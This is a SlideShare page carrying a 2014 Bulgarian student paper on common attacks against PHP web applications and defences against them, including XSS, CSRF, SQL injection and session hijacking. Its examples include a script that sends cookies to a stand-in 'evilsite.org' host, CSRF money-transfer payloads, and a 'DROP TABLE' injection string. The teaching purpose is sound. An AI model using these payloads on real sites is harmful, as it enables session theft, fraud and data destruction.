SlideShare a Scribd company logo
1 of 19
Download to read offline
Икономически университет – Варна
Център "Магистърско обучение"
РЕФЕРАТ
по
“Безопасност и защита”
на тема
“Защита при създаване на PHP-приложения в Интернет”
Изготвил:
Енис Исмаил
спец. “Информатика”, V курс, гр. 61
факултетен номер: 12109
Проверил:
доц. д-р Стефан Дражев
ас. Радка Начева
Варна 2014
Защита при създаване на PHP-приложения в Интернет 2014
2 Енис Исмаил, 12109
Съдържание
Съдържание............................................................................................................................................. 2
1. Обща информация за езика за програмиране PHP. ......................................................................... 3
2. Нужда от защита на уеб-приложенията............................................................................................ 4
3. Видове атаки, насочени към PHP уеб-приложенията. .................................................................... 4
3.1. Семантични атаки........................................................................................................................ 4
3.2. Атаки чрез качване на файлове. ................................................................................................. 5
3.3. Грешки при контрола за достъп. ................................................................................................ 5
3.4. XSS атаки...................................................................................................................................... 6
3.5. Brute-Force атаки и Dictionary атаки .......................................................................................... 7
3.6. Отĸpaдвaнe нa cecия (session hijacking) ..................................................................................... 8
3.7. Фалшификати на заявки - Cross-site request forgery (CSRF).................................................. 10
3.8. SQL инжектиране....................................................................................................................... 12
3.9. Атаки за отказ на услуга (DDoS атаки).................................................................................... 13
4. Начини за защита от атаки............................................................................................................... 14
4.1. Семантични атаки...................................................................................................................... 14
4.2. Атаки чрез качване на файлове. ............................................................................................... 14
4.3. Грешки при контрола за достъп. .............................................................................................. 15
4.4. XSS атаки.................................................................................................................................... 15
4.5. Brute-Force атаки и Dictionary атаки. ....................................................................................... 16
4.6. Отĸpaдвaнe нa cecия (session hijacking). .................................................................................. 16
4.7. Фалшификати на заявки - Cross-site request forgery (CSRF).................................................. 17
4.8. SQL инжектиране....................................................................................................................... 17
4.9. Атаки за отказ на услуга (DDoS атаки).................................................................................... 18
5. Изводи................................................................................................................................................ 18
Източници.............................................................................................................................................. 19
Защита при създаване на PHP-приложения в Интернет 2014
3 Енис Исмаил, 12109
1. Обща информация за езика за
програмиране PHP.
PHP (рекурсивно съкращение от PHP: Hypertext Preprocessor) е широко
използван скриптов език с отворен код, предназначен за обща употреба, който е
изключително удобен за уеб разработки и може да се вгражда в HTML.
PHP може да се използва на всички по-известни операционни системи, в
това число Линукс, много Юникс варианти (включително HP-UX, Solaris и
OpenBSD), Microsoft Windows, Mac OS X, RISC OS, а вероятно и други. Също така
PHP поддържа по-голяма част от съвременните уеб сървъри. Това включва Apache,
Microsoft Internet Information Server, Personal Web Server, сървърите Netscape и
iPlanet, Oreilly Website Pro server, Caudium, Xitami, OmniHTTPd, и много други. За
по-голяма част от сървърите PHP разполага с модули, а за другите поддържайки
CGI стандарта, PHP може да работи като CGI процесор.
Предимства на езика:
 PHP работи на множество операционни системи (Unix, Linux, Windows, BSD,
Mac OS X) и множество уеб сървъри – Apache, lighttpd, IIS
 PHP е лесен за разработване
 PHP е безплатен и се разпространява под лиценза на BSD
 PHP може да бъде лесно модифициран и адаптиран към нуждите на
прилагащата го организация
 PHP не изисква особени умения от разработчици работили на структурни
езици — езикът е с прост и интуитивен синтаксис за такива разработчици
 PHP е широко разпространен поради простотата си. Има много програмисти,
което води до по-евтино платен персонал във фирмите, по ниска цена на
приложенията за клиентите и още по-голяма използваемост. Поддръжката за
PHP разработчици е гарантирана от множеството форуми и приложения на
общността.
 По аналогия с Perl към стандартните класове на PHP могат да бъдат писани
и много допълнителни модули
PHP поддрържа следните системи за управление на бази от данни:
IBM DB2 - formix — Ingres, MS SQL, mSQL, MySQL, Oracle, PostgreSQL, Sybase.
Защита при създаване на PHP-приложения в Интернет 2014
4 Енис Исмаил, 12109
2. Нужда от защита на уеб-
приложенията.
Логиката на съвременния бизнес е тясно свързана с обработката на
конфиденциална информация, в това число и такава, която е достъпна чрез
Интернет. Потенциален достъп до тайните на компанията може да се получи даже
през обикновен браузър. От уеб-приложенията се изисква да съответстват на
стандартите за безопасност (PCI DSS, NIST и др.), международните критерии
(ISO/IEC 27005:2008, ITIL, COBIT и др.) и законодателните норми и става ясна
необходимостта от провеждане на редовен анализ на защитеността. Въпреки
всички направени анализи често се случва, уеб-приложението да е уязвимо към
определен вид атаки. В настоящият реферат ще бъдат описани най-често
срещаните атаки към уеб-приложенията.
3. Видове атаки, насочени към PHP уеб-
приложенията.
3.1. Семантични атаки.
Любопитството увеличава мотивацията при много атаки и семантичните
атаки са един от най-добрите примери за това. Те представляват модифициране на
URL с цел получаване на данни, до които потребителят не би трябвало да има
достъп. Например, ако на потребителят е изпратен линк
www.domain.com/view_invoice.php?id=1000523, то той вижда, че неговата фактура
е с уникалн номер 1000523 и може да се предположи, че той ще опита да достъпи
чужди фактури, заменяйки своя уникален номер с други произволни номера
(например 1000242) в същата връзка (URL). Този тип атаки се използват предимно
при предаване на параметри чрез GET метода, но модификации са възможни и
през POST метода.
Защита при създаване на PHP-приложения в Интернет 2014
5 Енис Исмаил, 12109
3.2. Атаки чрез качване на файлове.
Понякога разработчиците искат да дадат възможност за качване на файлове
в допълнение към стандартните форми за работа с данни. Понеже файловете не се
изпращат по същият начин, както данните от формите, има нужда от конкретен
вид кодиране - multipart/form-data:
<form action="upload.php" method="POST" enctype="multipart/form-data">
По този начин потребителят може и да качва файлове на сървъра. Най-често
се качват документи, картинки, видео. Но ако получените данни не се валидират
правилно, атака може да бъде осъществена чрез качване на PHP файл. Така
потребителят може да пусне за изпълнение свой собствен PHP скрипт като просто
качи файла на сървъра и после го стартира чрез съответното URL. Съвсем скоро
такава „дупка” в сигурността имаше в една от популярните теми за WordPress.
3.3. Грешки при контрола за достъп.
Грешки при контрола за достъп могат да доведат до сериозни проблеми за
уеб-приложението. Изразяват се най-често с грешно зададени привилегии за
определени папки или файлове. Ако привилегиите са зададени грешно,
потребителят може да изпълни скриптове или да прочита информацията, записана
в някои важни за системата файлове. Възможно е повторно пускане на install
скриптове, прочитане на конфигурационни файлове и т.н. Например в системата
Magento информацията за достъп до базата от данни е записана във файла
local.xml, който се намира в папка /app/etc. Ако този файл е публично достъпен, то
всеки би могъл да види потребителското име и паролата за базата от данни, която
се използва:
<resources>
<db>
<table_prefix><![CDATA[ms]]></table_prefix>
</db>
<default_setup>
<connection>
<host><![CDATA[localhost]]></host>
<username><![CDATA[shop_production]]></username>
<password><![CDATA[g8a6qdGD]]></password>
<dbname><![CDATA[magento_store]]></dbname>
</connection>
</default_setup>
</resources>
Защита при създаване на PHP-приложения в Интернет 2014
6 Енис Исмаил, 12109
3.4. XSS атаки
XSS (Cross-site scripting) атаките са едни от най-познатите видове атаки.
Способни са да поразят уеб-приложения от всички платформи, и PHP уеб-
приложенията със сигурност не са изключение. Всяко приложение, което приема
входни данни от потребителите си е под риск – уеб-базирани имейл приложения,
форуми, книги за гости, блогове. Ако тези входящи данни не са филтрирани
подходящо, уязвимостта към XSS атаки съществува. Нека вземем за пример уеб-
приложение, в което могат да се пишат потребителски коментари. Най-често се
въвежда име или псевдоним на автора и самият коментар. Но какво би станало,
ако в полето за коментар бъде записан следният код:
<script>
document.location = 'http://evilsite.org/steal.php?cookies=' + document.cookie
</script>
Ако този „коментар” бъде успешно записан и след това визуализиран на
съответната страница, това би означавало, че без да искаме сме „позволили” да
вмъкнат зловреден JavaScript код в приложението. Всички потребители, които
посетят страницата ще изпращат информацията, записана в техните бисквитки
(cookies) към чужд сайт (в случая evilsite.org), където тази информация може да
Защита при създаване на PHP-приложения в Интернет 2014
7 Енис Исмаил, 12109
бъде записвана с цел по-нататъшно използване. Това е често срещана грешка,
разпространила се от лоши навици в разработването на уеб-приложения, за жалост
превърнали се в обща практика.
3.5. Brute-Force атаки и Dictionary атаки
Brute-force е атака, при която атакуващият изпраща множество заявки към
сървъра с различни комбинации от име и парола, с цел да „налучка“ някоя
правилна комбинация. Най-често на атака са изложени потребителски имена като
„admin“, „administrator“, „root“ и т.н. По този начин атакуващият се опитва да
получи достъп до даден защитен ресурс, без да използва пробив в сигурността.
Brute-force атаките се използват за намиране на сравнително къси и прости
по сложност пароли. За по-сложни пароли, включващи думи с определено
значение и т.н., се използват Dictionary атаките. Принципът е подобен на brute-
force атаките, но за целта се използват речници с често използвани пароли, думи и
др.
Защита при създаване на PHP-приложения в Интернет 2014
8 Енис Исмаил, 12109
3.6. Отĸpaдвaнe нa cecия (session hijacking)
Открадването на сесия е вид атака, чрез която хакерът използва валидна
сесия и чрез нея получава достъп до сесията на друг потребител. Когато някой се
впише в уеб-приложението се създава файл (наричан сесия) на сървъра за
съответния потребител, която съдържа определена информация с цел избягването
на многократно вписване в системата при всяка нова заявка. Сървърът използва
уникален идентификатор за сесията, чрез който се разпознава коя сесия на кой
потребител принадлежи.
След получаване на достъп до идентификатор на сесията на клиента,
хакерът го инжектира в своя браузър и по този начин излъгва сървъра, че той
всъщност е другият клиент (жертвата).
Защита при създаване на PHP-приложения в Интернет 2014
9 Енис Исмаил, 12109
Идентификаторът на сесия може да бъде получен по няколко начина:
a) Чрез предсказване. Това е възможно, ако уеб-приложението използва
поредни числа вместо произволни низове за идентификатор.
b) Чрез “подслушване” на комуникационния канал. Идентификаторът бива
прехвърлян многократно между сървъра и потребителя. Чрез подслушване
на комуникационния канал хакера може да прихване изпращаните пакети и
да научи идентификатора. Най-често това става възможно, ако хакерът е в
същата локална мрежа, където е клиента или ако хакерът по някакъв начин
има достъп до данните, разменяни между клиента и сървъра.
c) Чрез фиксиране на идентификатора на сесията. Хакерът изпраща на
жертвата линк, в който е указан валиден идентификатор, създаден по-рано
от самият хакер. По този начин жертвата се вписва с този идентификатор,
който всъщност се знае от хакера, например
www.website.com/login.php?PHPSESSID=1234
Друг начин за фиксиране на сесия е чрез промяна стойността на
идентификатора в бисквитката, където той се съхранява в браузъра на жертвата.
Това е възможно чрез някакъв зловреден JavaScript код, например
document.cookie=”PHPSESSID=1234”.
Защита при създаване на PHP-приложения в Интернет 2014
10 Енис Исмаил, 12109
3.7. Фалшификати на заявки (CSRF).
CSRF (Cross-site request forgery) е вид атака, чрез която клиентът без да знае
изпраща заявки към друг сайт. Ако той е вписан в системата, то заявката ще бъде
изпълнена, тъй като тя би изглеждала напълно валидна. С този вид атаки се цели
основно смяна на имейл, на домашен адрес, на парола, закупуване на определен
продукт, изпращане на пари или бонус точки.
Пример:
Иван иска да да изпрати $100 на Петър чрез уеб-приложението на своята
банка. Ако уеб-приложението на банката не е подсигурено добре, заявката може
да изглежда по следният начин:
http://bank.com/transfer.do?acct=PETARPETROV&amount=100
Защита при създаване на PHP-приложения в Интернет 2014
11 Енис Исмаил, 12109
Вече знаем, че ако някой се е вписал в системата на банката, то той може да
изпрати пари на някой като директно изпрати подобна заявка към сървъра. Целта
на хакера в случая ще е някак да вмъкне линк с тази заявка в една от страниците
на уеб-приложението. Най-често за целта се използва HTML елементи като anchor,
img, iframe или script, а самото вмъкване на елемента става чрез XSS атака. Нека
предположим, че хакерът е успял някак да вмъкне следният код в страницата на
уеб-приложението:
<a href="http://bank.com/transfer.do?acct=HACKER&amount=1000">Виж тази картинка!</a>
или
<img src="http://bank.com/transfer.do?acct=HACKER&amount=1000" width="1" height="1"
border="0">
Ако клиентът, който достъпва страница с такъв код е вписан в уеб-
приложението на банката, то той с всяко посещаване на заразената страница ще
изпраща съответната заявка и ще прави парични трансфери към сметката, която е
указана във връзката (в случая HACKER).
Защита при създаване на PHP-приложения в Интернет 2014
12 Енис Исмаил, 12109
3.8. SQL инжектиране.
SQL инжектирането е техника за атакуване на приложения, използващи SQL
бази от данни, чрез вмъкване на злонамерени SQL команди в заявките, генерирани
от приложението.
Най-често SQL инжектирането се използва за постигане на следните неща:
 Прочитане на данни
 Промяна на данни (запис, модифициране, изтриване)
 Изпълняване на администраторски операции на базата от данни, например
спиране (shutdown) на цялата БД.
Пример:
В уеб-приложението има възможност за търсене на студенти по факултетен
номер. Заявката е следната:
$query = “SELECT * FROM students WHERE fnum = '$query'”;
Очаква се клиентът да въведе някакъв факултетен номер за търсене,
например 086012. В такъв случай заявката, която ще бъде изпълнена ще бъде:
SELECT * FROM students WHERE fnum = 086012
Защита при създаване на PHP-приложения в Интернет 2014
13 Енис Исмаил, 12109
Клиентът ще получи успешно информация за студента с този факултетен
номер. Но нека предположим, че в полето за въвеждане на факултетен номер е
въведен низ като “1; DROP TABLE students”. В такъв случай заявката, която ще
бъде изпълнена ще е:
SELECT * FROM students WHERE fnum = 1; DROP TABLE students;
При изпълняване на тази заявка цялата таблица students ще бъде изтрита.
3.9. Атаки за отказ на услуга (DDoS атаки).
Атака за отказ на услуга е опит даден ресурс, предоставян от компютър
(наричан жертва), да бъде направен недостъпен за целевите му потребители.
Обикновено жертви на такива атаки стават популярни уеб сървъри, като целта е те
да станат недостъпни от Интернет.
DDoS атаките биват два основни вида:
 Принуждаване на жертвата да се рестартира или да потреби всичките си
ресурси, така че вече да не може да предоставя целевата услуга;
 Възпрепятстване на комуникацията между жертвата и целевите потребители
на услугата, така че те вече да не могат да я достъпват адекватно.
Защита при създаване на PHP-приложения в Интернет 2014
14 Енис Исмаил, 12109
4. Начини за защита от атаки.
4.1. Семантични атаки.
Единственият начин за предотвратяване на такъв тип атаки са
допълнителните проверки за това дали потребителят има право да получи (или
запише) съответната информация. Друг вариант е използването на достатъчно
дълги и трудни за отгатване идентификационни низове, но този метод е подходящ
само за някои видове заявки. Той може да се използва при показване на данни,
които се извличат чрез уникален номер, но не могат да се използват например при
изпращане на имейл адрес или потребителско име с цел получаване на забравена
парола.
4.2. Атаки чрез качване на файлове.
Един от най-добрите начини за предпазване от този тип атаки е да бъдат
позволени за качване само файлове с определени разширения като jpg, jpeg, gif,
png, pdf, doc, docx и т.н. Също така може да се ограничи и размера на качваните
файлове като това става чрез конфигурационната директива upload_max_filesize.
Когато се качва даден файл, то той първоначално се запазва на временно
място на сървъра. Преди да се запази окончателно на файловата система на
сървъра, може да бъде проверявано дали има съответствие между временния файл
и получената за файла информация, например:
$filename = $_FILES['attachment']['tmp_name'];
if (is_uploaded_file($filename))
{
/* $_FILES['attachment']['tmp_name'] е каченият файл */
}
Защита при създаване на PHP-приложения в Интернет 2014
15 Енис Исмаил, 12109
4.3. Грешки при контрола за достъп.
Повечето от популярните системи имат инструкции за инсталация, в които
са указани и съответните настройки за сървъра. Подробно е описано кои файлове
или папки трябва да бъдат изтрити след успешна инсталация, кои папки трябва да
са публични и кои не и т.н. Но ако приложението се разработва от начало, то
самите разработчици трябва добре да помислят, когато настройват привилегиите
за отделните папки и файлове. Също така за конкретни папки, файлове или всички
файлове с дадено разширение може да бъде използван .htaccess файл и достъпът
да бъде забранен. Например:
Order deny,allow
Deny from all
Командата Deny from all ще забрани публичният достъп до всички файлове
в папката, където се намира .htaccess файлът. Тази забрана ще важи и за всички
файлове в подпапките, освен ако и там няма друг .htaccess файл, чрез който да се
премахне забраната от по-горно ниво.
4.4. XSS атаки.
XSS атаките могат да доведат до големи проблеми, но за щастие са лесни за
предотвратяване. Единственото, което трябва да се направи е получените данни да
се филтрират подходящо преди записването им в базата от данни. Най-малкото
нещо, което може да се направи, е да се ползват вградените в PHP функции като
htmlentities и htmlspecialchars за екраниране, тоест замяна на специалните символи
като <, >, & с HTML единици - &lt;, &gt;, &amp;.
Ако разгледаме конкретният пример, даден в точка 3.4., то можем да
зададем бисквитките да не могат да се използват чрез JavaScript код чрез флага
HttpOnly. Това може да стане във файла php.ini:
session.cookie_httponly = True
или чрез задаване на положителна стойност на последния параметър на метода
setcookie() в PHP скрипта.
Защита при създаване на PHP-приложения в Интернет 2014
16 Енис Исмаил, 12109
4.5. Brute-Force атаки и Dictionary атаки.
Първото и основно правило за защита срещу този тип атаки е да се
използват колкото се може по-сложни пароли. Обикновено тези атаки изпробват
набор от речникови думи, имена и цифри.
Независимо колко стриктна и добра политика използваме за паролите, не
бихме искали да позволим някой да изпробва стотици комбинации от имена и
пароли върху системата. Най-малкото не сме сигурни дали някой от
потребителите не използва лесна за разгадаване парола. За целта най-често се
използва Captcha и лимитиране на броя заявки от даден IP адрес за определен
период от време, след което този IP адрес се блокира за определен период от
време. Възможно е също достъпа до някои акаунти да се фиксира по IP адрес, но
това е приемливо само за администраторските акаунти.
Няма как да спрем напълно този тип атаки, но чрез гореспоменатите
решения можем достатъчно да ограничим заявките, изпращани към сървъра.
4.6. Отĸpaдвaнe нa cecия (session hijacking).
Има няколко начина за предотвратяване на този тип атака:
 Използване на криптирана връзка между клиента и сървъра чрез SSL (Secure
Socket Layer);
 Подновяване на идентификатора на сесията по-често. По този начин дори и
да бъде откраднат идентификатора на сесията, той ще бъде непотребен след
определен период от време;
 Сравняване на IP адреса или User Agent информацията на клиента;
 Използване на HttpOnly бисквитки. По този начин може да бъде
предотвратено фиксирането на чужд идентификатор чрез зловреден код, но
все още е възможно идентификатора да бъде научен чрез подслушване на
канала за комуникация.
Защита при създаване на PHP-приложения в Интернет 2014
17 Енис Исмаил, 12109
4.7. Фалшификати на заявки (CSRF).
Най-често срещаният начин за предотвратяване на този вид атаки е
използване на уникални ключове (token), които се намират във формата и по-
късно се сравняват със съответния ключ на сървъра. При директно изпращане на
заявка не чрез форма, а чрез директно URL, този уникален ключ ще липсва и
заявката няма да бъде изпълнена.
Също така, когато става на въпрос за уеб-приложения, при които са
възможни покупки, трансфер на пари и други, е добре клиентът да бива принуден
да въведе парола наново. Повторно въвеждане на парола може да бъде заменено и
с Captcha. По този начин със сигурност се знае, че клиентът активно участва в
съответната операция. Пример за уеб-приложения, използващи този подход са
повечето банкови системи за е-банкиране, Amazon, Ebay и др.
4.8. SQL инжектиране.
Има множество начини за предотвратяване на SQL инжектиране, като най-
удачно е да бъде използвана комбинация от тях.
Най-познатите са:
 Използване на параметрични заявки, където структурата на заявката е
отделена от подаваните параметри. За целта се използва PDO разширението.
 Използване на процедури, като параметрите се подават отделно.
 Екранизиране на всички входни данни, използвани в заявките.
 Валидиране на данните, преди да бъдат използвани в заявките.
 Ограничаване на привилегиите за използване на БД за всеки акаунт.
Защита при създаване на PHP-приложения в Интернет 2014
18 Енис Исмаил, 12109
4.9. Атаки за отказ на услуга (DDoS атаки).
Предотвратяването на DDoS атаки е сравнително трудна задача и може да
струва скъпо. Като цяло няма техники, които със сигурност да успеят да спрат
този тип атаки, но се използват някои методи, които помагат в голяма степен.
Най-лесният начин за предотвратяване на DDoS атаките е наличието на
достатъчно сървърни ресурси. По този начин уеб-приложението няма да бъде
„блокирано” от множеството заявки. Но проблемът е, че не винаги можем да
заделим достатъчно ресурси, а и тяхното наемане би струвало прекалено скъпо.
Осигуряването на допълнителни ресурси може да помогне при по-нискомащабни
DDoS атаки.
Друг начин за предпазване от този тип атаки е използването на хардуерни
защитни стени, които да филтрират трафика, още преди да е стигнал до сървъра.
5. Изводи.
Основният извод, до който можем да стигнем чрез този реферат, е че не
съществуват ясни и точни методи за предотвратяване на всички видове атаки към
уеб-приложенията. Всяко едно уеб-приложение може да бъде уязвимо във всеки
един момент и задачата на разработчиците е постоянно да надграждат техниките
за защита на приложенията, които разработват, тъй като с всеки изминал ден на
бял свят се появяват нови или подобрени версии на старите атаки.
Въпреки че в настоящият реферат са упоменати едни от най-често
срещаните видове атаки, съществуват още много други известни и не дотолкова
известни такива. При допълнителен интерес към темата, могат да бъдат прочетени
и предишни разработки на студенти от Икономически университет - Варна.
Антон Шумански: http://www.slideshare.net/antonshumanski/php-18364826
Валентин Атанасов: http://www.slideshare.net/ssuser5fc05e/fn10882
Защита при създаване на PHP-приложения в Интернет 2014
19 Енис Исмаил, 12109
Източници
 Често срещани уязвимости в web приложенията, Георги Чорбаджийски
 Как да защитим уеб приложенията: предотвратяване на атаки и пробойни
 Semantic URL Attack
 Essential PHP Security, Chris Shiflett
 OWASP Top Ten Project 2013
 Защита от brute force атаки, Филип Петров, 2008
 Session Hijacking, Joshua Kissoon, 2011
 SQL Injection In-Depth: Attacks and Prevention Methods, Joshua Kissoon, 2013
 Cross-Site Request Forgery (CSRF), OWASP, 2013)
 Атака за отказ на услуга, Уикипедия

More Related Content

What's hot

реферат безопасност и защита Edd
реферат безопасност и защита Eddреферат безопасност и защита Edd
реферат безопасност и защита EddFad3
 
Безопасност и защита на Web приложения
Безопасност и защита на Web приложенияБезопасност и защита на Web приложения
Безопасност и защита на Web приложенияDiNikolo
 
реферат по безопасност и защита на Microsoft мрежи и приложения на тема Googl...
реферат по безопасност и защита на Microsoft мрежи и приложения на тема Googl...реферат по безопасност и защита на Microsoft мрежи и приложения на тема Googl...
реферат по безопасност и защита на Microsoft мрежи и приложения на тема Googl...kirre_66
 
Защита при създаване на Dot net приложения в интернет
Защита при създаване на Dot net приложения в интернетЗащита при създаване на Dot net приложения в интернет
Защита при създаване на Dot net приложения в интернетMonika Petrova
 
Big data security word file 116941
Big data security   word file 116941Big data security   word file 116941
Big data security word file 116941borkopinf
 
Защита при създаване на Java приложения в интернет
Защита при създаване на  Java приложения в интернетЗащита при създаване на  Java приложения в интернет
Защита при създаване на Java приложения в интернетTanya Tabakova
 
реферат мобилни комуникации
реферат мобилни комуникацииреферат мобилни комуникации
реферат мобилни комуникацииgancho_gochev
 
безопасности защита на Web application
безопасности защита на Web applicationбезопасности защита на Web application
безопасности защита на Web applicationkarizka3
 
Php sec referat
Php sec referatPhp sec referat
Php sec referatDido_mn
 
безопасност и защита на Web приложения
безопасност и защита на Web  приложениябезопасност и защита на Web  приложения
безопасност и защита на Web приложенияkarizka3
 
Bezopastnost i zashtita na web priolojeniq
Bezopastnost i zashtita na web priolojeniqBezopastnost i zashtita na web priolojeniq
Bezopastnost i zashtita na web priolojeniqMartin Kenarov
 

What's hot (11)

реферат безопасност и защита Edd
реферат безопасност и защита Eddреферат безопасност и защита Edd
реферат безопасност и защита Edd
 
Безопасност и защита на Web приложения
Безопасност и защита на Web приложенияБезопасност и защита на Web приложения
Безопасност и защита на Web приложения
 
реферат по безопасност и защита на Microsoft мрежи и приложения на тема Googl...
реферат по безопасност и защита на Microsoft мрежи и приложения на тема Googl...реферат по безопасност и защита на Microsoft мрежи и приложения на тема Googl...
реферат по безопасност и защита на Microsoft мрежи и приложения на тема Googl...
 
Защита при създаване на Dot net приложения в интернет
Защита при създаване на Dot net приложения в интернетЗащита при създаване на Dot net приложения в интернет
Защита при създаване на Dot net приложения в интернет
 
Big data security word file 116941
Big data security   word file 116941Big data security   word file 116941
Big data security word file 116941
 
Защита при създаване на Java приложения в интернет
Защита при създаване на  Java приложения в интернетЗащита при създаване на  Java приложения в интернет
Защита при създаване на Java приложения в интернет
 
реферат мобилни комуникации
реферат мобилни комуникацииреферат мобилни комуникации
реферат мобилни комуникации
 
безопасности защита на Web application
безопасности защита на Web applicationбезопасности защита на Web application
безопасности защита на Web application
 
Php sec referat
Php sec referatPhp sec referat
Php sec referat
 
безопасност и защита на Web приложения
безопасност и защита на Web  приложениябезопасност и защита на Web  приложения
безопасност и защита на Web приложения
 
Bezopastnost i zashtita na web priolojeniq
Bezopastnost i zashtita na web priolojeniqBezopastnost i zashtita na web priolojeniq
Bezopastnost i zashtita na web priolojeniq
 

Similar to Защита при създаване на PHP-приложения в Интернет

Безопасност и защита при използване на уеб браузъри
Безопасност и защита при използване на уеб браузъриБезопасност и защита при използване на уеб браузъри
Безопасност и защита при използване на уеб браузъриSava Zahariev
 
11086 browser-security
11086 browser-security11086 browser-security
11086 browser-securityAtanas Sqnkov
 
Безопасност и защита при използване на Web браузъри
Безопасност и защита при използване на Web браузъриБезопасност и защита при използване на Web браузъри
Безопасност и защита при използване на Web браузъриgganchev
 
Penetration testing for dummies
Penetration testing for dummiesPenetration testing for dummies
Penetration testing for dummiesCode Runners
 
Php security
Php securityPhp security
Php securityNikolai
 
Защита при създаване на PHP-приложения в Интернет
Защита при създаване на PHP-приложения в ИнтернетЗащита при създаване на PHP-приложения в Интернет
Защита при създаване на PHP-приложения в ИнтернетВалентин Атанасов
 
Безопасност и защита при използване на Web-браузъри.
Безопасност и защита при използване на Web-браузъри.Безопасност и защита при използване на Web-браузъри.
Безопасност и защита при използване на Web-браузъри.MarT0oo
 
Api автентификация и безопасност и защита на web
Api автентификация и безопасност и защита на webApi автентификация и безопасност и защита на web
Api автентификация и безопасност и защита на webPoli Petkova
 
Web Services Security
Web Services SecurityWeb Services Security
Web Services Securitynevzasroma
 
Api автентификация и безопасност и защита на web-приложения
Api автентификация и безопасност и защита на web-приложенияApi автентификация и безопасност и защита на web-приложения
Api автентификация и безопасност и защита на web-приложенияPoli Petkova
 
Bezopasnost i za6tita_na_web_prolojenia
Bezopasnost i za6tita_na_web_prolojeniaBezopasnost i za6tita_na_web_prolojenia
Bezopasnost i za6tita_na_web_prolojeniaMartin Kenarov
 

Similar to Защита при създаване на PHP-приложения в Интернет (20)

Web Applications Security
Web Applications Security Web Applications Security
Web Applications Security
 
Безопасност и защита при използване на уеб браузъри
Безопасност и защита при използване на уеб браузъриБезопасност и защита при използване на уеб браузъри
Безопасност и защита при използване на уеб браузъри
 
11086 browser-security
11086 browser-security11086 browser-security
11086 browser-security
 
Безопасност и защита при използване на Web браузъри
Безопасност и защита при използване на Web браузъриБезопасност и защита при използване на Web браузъри
Безопасност и защита при използване на Web браузъри
 
Drupal Security
Drupal SecurityDrupal Security
Drupal Security
 
PHP Introduction
PHP IntroductionPHP Introduction
PHP Introduction
 
Penetration testing for dummies
Penetration testing for dummiesPenetration testing for dummies
Penetration testing for dummies
 
Php security
Php securityPhp security
Php security
 
5494 n nikolov_zashtita
5494 n nikolov_zashtita5494 n nikolov_zashtita
5494 n nikolov_zashtita
 
Защита при създаване на PHP-приложения в Интернет
Защита при създаване на PHP-приложения в ИнтернетЗащита при създаване на PHP-приложения в Интернет
Защита при създаване на PHP-приложения в Интернет
 
Безопасност и защита при използване на Web-браузъри.
Безопасност и защита при използване на Web-браузъри.Безопасност и защита при използване на Web-браузъри.
Безопасност и защита при използване на Web-браузъри.
 
Api автентификация и безопасност и защита на web
Api автентификация и безопасност и защита на webApi автентификация и безопасност и защита на web
Api автентификация и безопасност и защита на web
 
Webloz2011
Webloz2011Webloz2011
Webloz2011
 
Информационна сигурност - интро
Информационна сигурност - интро Информационна сигурност - интро
Информационна сигурност - интро
 
Web Services Security
Web Services SecurityWeb Services Security
Web Services Security
 
Api автентификация и безопасност и защита на web-приложения
Api автентификация и безопасност и защита на web-приложенияApi автентификация и безопасност и защита на web-приложения
Api автентификация и безопасност и защита на web-приложения
 
Bezopasnost i za6tita_na_web_prolojenia
Bezopasnost i za6tita_na_web_prolojeniaBezopasnost i za6tita_na_web_prolojenia
Bezopasnost i za6tita_na_web_prolojenia
 
Security Log Management
Security Log  ManagementSecurity Log  Management
Security Log Management
 
B4 t4 include_files
B4 t4 include_filesB4 t4 include_files
B4 t4 include_files
 
B4 t4 include_files
B4 t4 include_filesB4 t4 include_files
B4 t4 include_files
 

Защита при създаване на PHP-приложения в Интернет

  • 1. Икономически университет – Варна Център "Магистърско обучение" РЕФЕРАТ по “Безопасност и защита” на тема “Защита при създаване на PHP-приложения в Интернет” Изготвил: Енис Исмаил спец. “Информатика”, V курс, гр. 61 факултетен номер: 12109 Проверил: доц. д-р Стефан Дражев ас. Радка Начева Варна 2014
  • 2. Защита при създаване на PHP-приложения в Интернет 2014 2 Енис Исмаил, 12109 Съдържание Съдържание............................................................................................................................................. 2 1. Обща информация за езика за програмиране PHP. ......................................................................... 3 2. Нужда от защита на уеб-приложенията............................................................................................ 4 3. Видове атаки, насочени към PHP уеб-приложенията. .................................................................... 4 3.1. Семантични атаки........................................................................................................................ 4 3.2. Атаки чрез качване на файлове. ................................................................................................. 5 3.3. Грешки при контрола за достъп. ................................................................................................ 5 3.4. XSS атаки...................................................................................................................................... 6 3.5. Brute-Force атаки и Dictionary атаки .......................................................................................... 7 3.6. Отĸpaдвaнe нa cecия (session hijacking) ..................................................................................... 8 3.7. Фалшификати на заявки - Cross-site request forgery (CSRF).................................................. 10 3.8. SQL инжектиране....................................................................................................................... 12 3.9. Атаки за отказ на услуга (DDoS атаки).................................................................................... 13 4. Начини за защита от атаки............................................................................................................... 14 4.1. Семантични атаки...................................................................................................................... 14 4.2. Атаки чрез качване на файлове. ............................................................................................... 14 4.3. Грешки при контрола за достъп. .............................................................................................. 15 4.4. XSS атаки.................................................................................................................................... 15 4.5. Brute-Force атаки и Dictionary атаки. ....................................................................................... 16 4.6. Отĸpaдвaнe нa cecия (session hijacking). .................................................................................. 16 4.7. Фалшификати на заявки - Cross-site request forgery (CSRF).................................................. 17 4.8. SQL инжектиране....................................................................................................................... 17 4.9. Атаки за отказ на услуга (DDoS атаки).................................................................................... 18 5. Изводи................................................................................................................................................ 18 Източници.............................................................................................................................................. 19
  • 3. Защита при създаване на PHP-приложения в Интернет 2014 3 Енис Исмаил, 12109 1. Обща информация за езика за програмиране PHP. PHP (рекурсивно съкращение от PHP: Hypertext Preprocessor) е широко използван скриптов език с отворен код, предназначен за обща употреба, който е изключително удобен за уеб разработки и може да се вгражда в HTML. PHP може да се използва на всички по-известни операционни системи, в това число Линукс, много Юникс варианти (включително HP-UX, Solaris и OpenBSD), Microsoft Windows, Mac OS X, RISC OS, а вероятно и други. Също така PHP поддържа по-голяма част от съвременните уеб сървъри. Това включва Apache, Microsoft Internet Information Server, Personal Web Server, сървърите Netscape и iPlanet, Oreilly Website Pro server, Caudium, Xitami, OmniHTTPd, и много други. За по-голяма част от сървърите PHP разполага с модули, а за другите поддържайки CGI стандарта, PHP може да работи като CGI процесор. Предимства на езика:  PHP работи на множество операционни системи (Unix, Linux, Windows, BSD, Mac OS X) и множество уеб сървъри – Apache, lighttpd, IIS  PHP е лесен за разработване  PHP е безплатен и се разпространява под лиценза на BSD  PHP може да бъде лесно модифициран и адаптиран към нуждите на прилагащата го организация  PHP не изисква особени умения от разработчици работили на структурни езици — 